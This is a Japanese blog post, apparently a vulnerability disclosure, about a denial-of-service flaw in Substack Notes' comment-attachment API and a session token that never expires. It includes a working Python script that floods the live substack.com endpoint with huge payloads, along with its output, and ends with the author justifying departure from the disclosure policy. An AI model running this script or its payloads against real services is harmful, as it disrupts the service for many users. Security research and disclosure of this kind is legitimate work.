🛡️

SubstackのNotesにおけるDoS攻撃の脆弱性

2023/04/24に公開

前置き

本記事における調査及び報告の過程はSubstackの脆弱性開示ポリシーに基づいたものであり、無断の脆弱性診断行為を推奨するものではありません。

TL;DR

  1. Substackの新機能であるNotesのAPIに実装不備があり、サーバー及びユーザーのサービス利用を完全に妨害するDoS攻撃が可能であった。
  2. アクセストークンの有効期限に実装不備があり、ユーザーがログアウトするまで失効しない

脆弱性の再現

Substack Notes では、ユーザーが画像を投稿した際に次のステップが踏まれる。

  1. /api/v1/image (画像データ送信)
  2. /api/v1/comment/attachment (URL送信, attachmentIdの取得)
  3. /api/v1/comment/feed (投稿内容送信)

順番にリクエストを見てみよう。



調べたところ、/api/v1/comment/attachmentに送信されるコンテキストは、urlの文字列をattachmentIdとして返しているようだが、文字列の長さには一切の制限がない。
また、/api/v1/comment/feedに指定するattachmentIdの個数も一切の上限がない。

そこで、次のようなPythonのコードを書き、ペイロードを作成した。

import aiohttp
import asyncio

cookies = {
    "substack.sid": "[REDACTED]",
}

payload = "A" * 30000000

json_data = {
    "url": payload,
    "type": "image",
}


async def attack(session):
    async with session.post(
        "https://substack.com/api/v1/comment/attachment",
        json=json_data,
        cookies=cookies,
    ) as resp:
        resp = await resp.json()
        return resp


async def main():
    tasks = []
    async with aiohttp.ClientSession(
        connector=aiohttp.TCPConnector(limit=10)
    ) as session:
        for _ in range(10):
            tasks.append(asyncio.ensure_future(attack(session)))
        resps = await asyncio.gather(*tasks)
        for r in resps:
            print(f'"{r["id"]}",')


asyncio.run(main())
"e6a72801-xxxx-xxxx-xxxx-72c0f6791e1a",
"de612629-xxxx-xxxx-xxxx-d60021e3f636",
"0522cdd2-xxxx-xxxx-xxxx-685e1deaab38",
"7f4be30f-xxxx-xxxx-xxxx-a0ab4f0d25bb",
"e9752afa-xxxx-xxxx-xxxx-ef24880bc3f5",
"e1ab0343-xxxx-xxxx-xxxx-8c361f9b193a",
"8bc1c78c-xxxx-xxxx-xxxx-33ddacdb3387",
"9af840b4-xxxx-xxxx-xxxx-cbd050889ccb",
"6bb47eca-xxxx-xxxx-xxxx-56961bb37e3a",
"fbb50510-xxxx-xxxx-xxxx-41296871e147",

そうすると、細工されたコメントを投稿することにより500エラーが引き起こされる。

次のPoCから分かる通り、他ユーザーの投稿したスレッドを妨害することが可能だ。
https://www.youtube.com/watch?v=sEpYqa0SQZ4
https://substack.com/profile/110300256-lutwidse/note/c-14985822

記事の執筆中に別の脆弱性を発見

Substackのアクセストークンであるsubstack.sidには有効期限が実装されているようだが、機能しておらず、ユーザーがログアウトの処理を実行しない限り失効することはない。つまり、何らかの事情でクッキーを削除した場合は、有効なトークンが無期限に存在することになる。
おかげさまでPoCの動画は再編集だ。

cookies = {
    "substack.sid": "[REDACTED]",
    "_dd_s": "rum=0&expire=1682060632941", # should expire on 2023/04/21 07:03 but never if the user doesn't do the logout process
}

余談

こちらのツイートで述べた通りだが、どうやら彼らは脆弱性開示ポリシーを設けてはいるものの、報告者と協力する気は一切ないらしい。
彼ら自身が開示ポリシーに準拠していないのであれば、同じく私も準拠する義務はない。
https://twitter.com/lutw1dse/status/1649757787122204672
https://twitter.com/lutw1dse/status/1649760866609557504

Discussion